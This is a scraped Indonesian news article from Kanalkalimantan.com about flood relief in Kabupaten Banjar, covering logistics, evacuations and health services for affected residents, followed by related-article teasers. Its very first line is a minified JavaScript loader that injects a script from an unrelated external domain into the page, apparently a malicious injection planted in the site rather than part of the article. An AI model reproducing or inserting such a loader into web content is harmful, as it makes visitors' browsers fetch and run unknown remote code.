(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA– Jajaran SKPD Kabupaten Banjar bergerak cepat untuk memberikan bantuan korban terdampak banjir. Baik memberikan bantuan logistik maupun melakukan evakuasi warga.
Banjir yang melanda beberapa kecamatan di Kabupaten Banjar dalam sepekan terakhir, membuat masyarakat mengalami kesulitan dalam melaksanakan aktivitasnya.
Kepala pelaksana BPBD Kabupaten Banjar Ahmad Solhan mengatakan, prihatin terhadap warga yang saat ini kembali kebanjiran.
“Sejauh ini kami sudah menyalurkan bantuan logistik untuk keperluan dapur umum yang didirikan masyarakat setempat di Desa Sungai Rangas Hambuku dan Desa Antasan Sutun Kecamatan Martapura Barat,” katanya Kamis (24/3/2022).
Baca juga : Masyarakat Harus Lebih Sering Membaca, Tasaro GK: Tak Hanya Buku, Ikuti Perkembangan Zaman
Selain penyaluran logistik di dapur umum untuk warga yang terdampak, pihaknya juga stan by di lapangan untuk melakukan pantauan di beberapa titik banjir.
Seperti di Desa Tunggul Irang yang juga tergenang dan sempat mengevakuasi warga ke tempat yang lebih aman. ”Kita juga lakukan evakuasi ibu dan balitanya Selasa lalu,” kata dia.
Solhan menambahkan, distribusi sembako bantuan korban banjir dari Paman Birin dan BPBD Provinsi juga sudah tersalurkan kepada warga yang terdampak.
Sementara itu Kepala Dinas Kesehatan Kabupaten Banjar Yasna Khairina mengatakan pelayanan kesehatan terhadap warga yang terdampak banjir dilakukan oleh pihaknya melalui puskesmas-puskesmas yang ada.
Baca juga : Kerajinan Purun, Enceng Gondok dan Sasirangan Pewarna Alami Andalan HSU di Inacraft 2022
”Begitu diketahui ada daerah yang tergenang banjir, petugas langsung memberikan pelayanan dari rumah ke rumah terdampak banjir atau pelayanan di satu titik kesepakatan dengan ketua RT setempat,” papar dia.
Yasna menambahkan, umumnya warga yang terdampak banjir banyak mengeluhkan penyakit kulit, seperti gatal-gatal dan kutu air. Pada intinya lanjut Yasna semua puskesmas siap dengan kondisi banjir yang kini melanda.
”Kalau obat-obatan sesuai keperluan pada saat pelayanan, jadi tidak obat kulit saja. Salap tu malah ada yang dititip di rumah Ketua RT supaya masyarakat gampang mendapatkannya,” kata dia. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : cell
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.